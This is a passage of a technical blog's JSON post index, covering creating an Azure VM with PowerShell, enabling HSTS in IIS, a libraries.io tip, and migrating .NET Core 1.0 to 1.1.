https:\/\/docs.microsoft.com\/en-us\/powershell\/module\/AzureRm.Compute\/New-AzureRmVM?view=azurermps-6.13.0\nhttps:\/\/docs.microsoft.com\/en-us\/azure\/virtual-network\/quick-create-powershell\nhttps:\/\/docs.microsoft.com\/en-us\/powershell\/module\/azurerm.network\/new-azurermnetworkinterface?view=azurermps-6.13.0\n","date":"May 27, 2019","permalink":"https:\/\/rmauro.dev\/create-azure-vm-though-powershell\/","section":"Posts","summary":"<p>Go to <a href=\"https:\/\/shell.azure.com\" target=\"_blank\" rel=\"noreferrer\">https:\/\/shell.azure.com<\/a> and enter the following commands.<\/p>\n<h6 id=\"azure-available-locations\" class=\"relative group\">Azure available locations. <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#azure-available-locations\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">Get-AzureRmLocation | Format-Table\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"azure-resource-groups-available-in-the-subscription\" class=\"relative group\">Azure Resource Groups available in the subscription. <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#azure-resource-groups-available-in-the-subscription\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">Get-AzureRmResourceGroup | select ResourceGroupName\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"setting-up-the-local-variables\" class=\"relative group\">Setting up the local variables. <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#setting-up-the-local-variables\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">$VMLocalAdminUser = &#34;myAdminUser&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VMLocalAdminSecurePassword = ConvertTo-SecureString &#34;MyStrongPassword@123456789&#34; -AsPlainText -Force\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$LocationName = &#34;centralus&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$ResourceGroupName = &#34;demo001PS&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$ComputerName = &#34;MyVM&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VMName = &#34;devUScWeb002&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VMSize = &#34;Standard_DS3&#34;\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$NICName = &#34;devUScWeb002-ip&#34;\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"creating-the-resource-group\" class=\"relative group\">Creating the Resource Group <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-resource-group\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">New-AzureRmResourceGroup -Name $ResourceGroupName -Location $LocationName\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"creating-the-virtual-network\" class=\"relative group\">Creating the Virtual Network <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-virtual-network\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">$virtualNetwork = New-AzVirtualNetwork `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -ResourceGroupName $ResourceGroupName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -Location $LocationName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -Name $VMName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -AddressPrefix 10.0.0.0\/16\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$subnetConfig = Add-AzVirtualNetworkSubnetConfig `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -Name default `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -AddressPrefix 10.0.0.0\/24 `\n<\/span><\/span><span class=\"line\"><span class=\"cl\">  -VirtualNetwork $virtualNetwork\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$virtualNetwork | Set-AzVirtualNetwork\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$nic = New-AzureRmNetworkInterface `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Name &#34;NIC1&#34; `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -ResourceGroupName $ResourceGroupName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Location $LocationName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -SubnetId $virtualNetwork.Subnets[0].Id `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -IpConfigurationName &#34;IPConfig1&#34; `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -DnsServer &#34;8.8.8.8&#34;, &#34;8.8.4.4&#34;\n<\/span><\/span><\/code><\/pre><\/div><h6 id=\"creating-the-virtual-machine\" class=\"relative group\">Creating the Virtual Machine <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#creating-the-virtual-machine\" aria-label=\"Anchor\">#<\/a><\/span><\/h6><div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-fallback\" data-lang=\"fallback\"><span class=\"line\"><span class=\"cl\">$Credential = New-Object System.Management.Automation.PSCredential ($VMLocalAdminUser, $VMLocalAdminSecurePassword)\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VirtualMachine = New-AzureRmVMConfig `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -VMName $VMName -VMSize $VMSize\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VirtualMachine = Set-AzureRmVMOperatingSystem `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -VM $VirtualMachine `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Windows `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -ComputerName $ComputerName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Credential $Credential `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -ProvisionVMAgent -EnableAutoUpdate\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VirtualMachine = Add-AzureRmVMNetworkInterface `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -VM $VirtualMachine `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Id $NIC.Id\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$VirtualMachine = Set-AzureRmVMSourceImage `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -VM $VirtualMachine `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -PublisherName &#39;MicrosoftWindowsServer&#39; `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Offer &#39;WindowsServer&#39; `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Skus &#39;2012-R2-Datacenter&#39; `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Version latest\n<\/span><\/span><span class=\"line\"><span class=\"cl\">\n<\/span><\/span><span class=\"line\"><span class=\"cl\">$job = New-AzureRmVM `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -ResourceGroupName $ResourceGroupName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -Location $LocationName `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -VM $VirtualMachine `\n<\/span><\/span><span class=\"line\"><span class=\"cl\"> -AsJob\n<\/span><\/span><\/code><\/pre><\/div><p>The -AsJob option creates the VM in the background. You can continue to the next step.<\/p>","title":"Create Azure VM though PowerShell"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/hsts\/","section":"Tags","summary":"","title":"HSTS"},{"content":"HSTS, what&rsquo;s it? #Definition from wikipedia:\nHTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections,[1] and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.`\nAn example to help clearify:\nYou decide to visit \/ (HTTP version), you send a request to the webserver saying the you want visit this website. The webserver respond with HTTP STATUS 301 (Moved Permanently) directing you to \/. HTTP version request\nOnce you get the response o HTTPS version you also receive a header named &ldquo;Strict-Transport-Security&rdquo; - The famous HSTS.\nLegend: HTTPS request after redirect\nLegend: Request flow with HSTS enabled\nNow the browser know&rsquo;s that your website is HSTS and HTTPS enabled.\nEvery time you decide to go to HTTP version of this site, your browser will direct you to HTTPS version of the site, without sending a request to HTTP version first.\nHow enabled it on IIS #It&rsquo;s very simple. Here is a how:\n&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt; &lt;configuration&gt; &lt;system.webServer&gt; &lt;rewrite&gt; &lt;rules&gt; &lt;rule name=&#34;HTTP to HTTPS redirect&#34; stopProcessing=&#34;true&#34;&gt; &lt;match url=&#34;(.*)&#34; \/&gt; &lt;conditions&gt; &lt;add input=&#34;{HTTPS}&#34; pattern=&#34;off&#34; ignoreCase=&#34;true&#34; \/&gt; &lt;\/conditions&gt; &lt;action type=&#34;Redirect&#34; url=&#34;https:\/\/{HTTP_HOST}\/{R:1}&#34; redirectType=&#34;Permanent&#34; \/&gt; &lt;\/rule&gt; &lt;\/rules&gt; &lt;outboundRules&gt; &lt;rule name=&#34;Add Strict-Transport-Security when HTTPS&#34; enabled=&#34;true&#34;&gt; &lt;match serverVariable=&#34;RESPONSE_Strict_Transport_Security&#34; pattern=&#34;.*&#34; \/&gt; &lt;conditions&gt; &lt;add input=&#34;{HTTPS}&#34; pattern=&#34;on&#34; ignoreCase=&#34;true&#34; \/&gt; &lt;\/conditions&gt; &lt;action type=&#34;Rewrite&#34; value=&#34;max-age=31536000&#34; \/&gt; &lt;\/rule&gt; &lt;\/outboundRules&gt; &lt;\/rewrite&gt; &lt;\/system.webServer&gt; &lt;\/configuration&gt; Explaining what&rsquo;s going on there.\nFirst rule (HTTP to HTTPS redirect) tells IIS to redirect every request to HTTS if not there. Second rule (Add Strict-Transport-Security when HTTPS) Now you must be thinking with yourself, why not just add a simple HTTP-Header in config?\nThe HSTS (RFC6797) spec says:\nAn HTTP host declares itself an HSTS Host by issuing to UAs (User Agents) an HSTS Policy, which is represented by and conveyed via the\nStrict-Transport-Security HTTP response header field over secure transport (e.g., TLS). `\nSo you should not send the header in HTTP version of the website.\nSources: #Wikipedia\nhttps:\/\/en.wikipedia.org\/wiki\/HTTP_Strict_Transport_Security\nHanselman&rsquo;s blog\nhttps:\/\/www.hanselman.com\/blog\/HowToEnableHTTPStrictTransportSecurityHSTSInIIS7.aspx\nHSTS RFC\nhttp:\/\/tools.ietf.org\/html\/rfc6797#page-12\n","date":"August 9, 2017","permalink":"https:\/\/rmauro.dev\/hsts-definition-and-how-to-enable-it-in-iis\/","section":"Posts","summary":"<h3 id=\"hsts-whats-it\" class=\"relative group\">HSTS, what&rsquo;s it? <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#hsts-whats-it\" aria-label=\"Anchor\">#<\/a><\/span><\/h3><p>Definition from wikipedia:<\/p>\n<blockquote>\n<p>HTTP Strict Transport Security (HSTS) is a web security policy mechanism which helps to protect websites against protocol downgrade attacks and cookie hijacking. It allows web servers to declare that web browsers (or other complying user agents) should only interact with it using secure HTTPS connections,[1] and never via the insecure HTTP protocol. HSTS is an IETF standards track protocol and is specified in RFC 6797.`<\/p>","title":"HSTS - What's it and how to enable it in IIS"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/iis\/","section":"Tags","summary":"","title":"IIS"},{"content":"Theses days I was trying to find the latest version of some framework I was using. Searching on web I finally found this website https:\/\/libraries.io\/.\nThis nice and complete website has informations about almost every library\/framework you know.\nTake a look, share https:\/\/libraries.io\/\n","date":"January 19, 2017","permalink":"https:\/\/rmauro.dev\/libraries-io-a-library-of-frameworks-tip\/","section":"Posts","summary":"<p>Theses days I was trying to find the latest version of some framework I was using. Searching on web I finally found this website <a href=\"https:\/\/libraries.io\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/libraries.io\/<\/a>.<\/p>\n<p>This nice and complete website has informations about almost every library\/framework you know.<\/p>\n<p>Take a look, share <a href=\"https:\/\/libraries.io\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/libraries.io\/<\/a><\/p>","title":"Libraries.io - A Library of frameworks #tip"},{"content":"Hi guys!\nIn this post I&rsquo;ll show how to migrate a .Net project from 1.0 to 1.1 (current the last version) using Visual Studio.\nPreparing the solution #Let&rsquo;s starting by creating our starting project.\nIn Visual Studio go to File -&gt; New Project then choose the template ASP.NET Core Web Application (.NET Core)\nEnter the name &ldquo;SampleProject&rdquo; then click OK.\nNow select Empty and hit OK.\nBuild the app to verify you don&rsquo;t have any compiler errors.\nIt&rsquo;s time to migrate #Now that we have our project up and running let&rsquo;s migrate from 1.0 to 1.1.\nOpen the file project.json and update the &ldquo;section&rdquo; frameworks like the following code.\nfrom:\n&#34;frameworks&#34;: { &#34;netcoreapp1.0&#34;: { &#34;imports&#34;: [ &#34;dotnet5.6&#34;, &#34;portable-net45+win8&#34; ] } }, to:\n&#34;frameworks&#34;: { &#34;netcoreapp1.1&#34;: { &#34;dependencies&#34;: { &#34;Microsoft.NETCore.App&#34;: { &#34;version&#34;: &#34;1.1.0&#34;, &#34;type&#34;: &#34;platform&#34; } }, &#34;imports&#34;: [ &#34;dnxcore50&#34; ] } }, Now remove Microsoft.NETCore.App from section dependencies and update all nuget packages using nuget manager.\nThe file project.json should end like this.\n{ &#34;dependencies&#34;: { &#34;Microsoft.AspNetCore.Diagnostics&#34;: &#34;1.1.0&#34;, &#34;Microsoft.AspNetCore.Server.IISIntegration&#34;: &#34;1.1.0&#34;, &#34;Microsoft.AspNetCore.Server.Kestrel&#34;: &#34;1.1.0&#34;, &#34;Microsoft.Extensions.Logging.Console&#34;: &#34;1.1.0&#34; }, &#34;tools&#34;: { &#34;Microsoft.AspNetCore.Server.IISIntegration.Tools&#34;: &#34;1.0.0-preview2-final&#34; }, &#34;frameworks&#34;: { &#34;netcoreapp1.1&#34;: { &#34;dependencies&#34;: { &#34;Microsoft.NETCore.App&#34;: { &#34;version&#34;: &#34;1.1.0&#34;, &#34;type&#34;: &#34;platform&#34; } }, &#34;imports&#34;: [ &#34;dnxcore50&#34; ] } }, &#34;buildOptions&#34;: { &#34;emitEntryPoint&#34;: true, &#34;preserveCompilationContext&#34;: true }, &#34;runtimeOptions&#34;: { &#34;configProperties&#34;: { &#34;System.GC.Server&#34;: true } }, &#34;publishOptions&#34;: { &#34;include&#34;: [ &#34;wwwroot&#34;, &#34;web.config&#34; ] }, &#34;scripts&#34;: { &#34;postpublish&#34;: [ &#34;dotnet publish-iis --publish-folder %publish:OutputPath% --framework %publish:FullTargetFramework%&#34; ] } } Wait until all dependencies are restored and &ldquo;build&rdquo; again to verify you don&rsquo;t have any compiler errors.\nNow we have our project with .Net Core 1.1.\nAll done guys.\n","date":"January 3, 2017","permalink":"https:\/\/rmauro.dev\/how-to-migrate-asp-net-core-1-0-to-1-1\/","section":"Posts","summary":"<p>Hi guys!<\/p>\n<p>In this post I&rsquo;ll show how to migrate a .Net project from 1.0 to 1.1 (current the last version) using Visual Studio.<\/p>\n<h2 id=\"preparing-the-solution\" class=\"relative group\">Preparing the solution <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#preparing-the-solution\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Let&rsquo;s starting by creating our starting project.<\/p>\n<p>In Visual Studio go to <code>File -&gt; New Project<\/code> then choose the template <code>ASP.NET Core Web Application (.NET Core)<\/code><\/p>\n<p>Enter the name &ldquo;SampleProject&rdquo; then click OK.<\/p>","title":"How to migrate .Net Core 1.0 to 1.1"},{"content":"","date":"January 1, 1","permalink":"https:\/\/rmauro.dev\/archives\/","section":"rmauro.dev \u2014 Technical Blog","summary":"archives","title":"Archive"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/categories\/","section":"Categories","summary":"","title":"Categories"},{"content":"","date":"January 1, 1","permalink":"https:\/\/rmauro.dev\/search\/","section":"rmauro.dev \u2014 Technical Blog","summary":"search","title":"Search"}]